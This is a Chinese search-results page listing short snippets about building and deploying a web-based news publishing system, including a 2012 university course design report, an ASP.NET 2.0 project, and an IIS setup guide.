  • 淮阴工学院 JAVA与Web数据库 课程设计报告 课题名称 棊于Web新闻发布系统 专业 计算机科学与技术 班级 网络1091 姓名 姚建国 学号 1091304125 指导老师 张永军 邵鹤帅 2012年01月03日 基于Web新闻发布系统 姚...
  • 基于web的动态新闻发布系统 基于ASP.NET2.0
  •   最近实战了一个新闻发布系统,基本功能都已实现,最关键的是对其发布从而使更多的用户使用到它,如何操作呢?请往下看~ 过程 一、安装IIS   IIS是Internet Information Services的缩写,意为互联网信息服务,...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,592
精华内容 636
关键字:

web新闻发布系统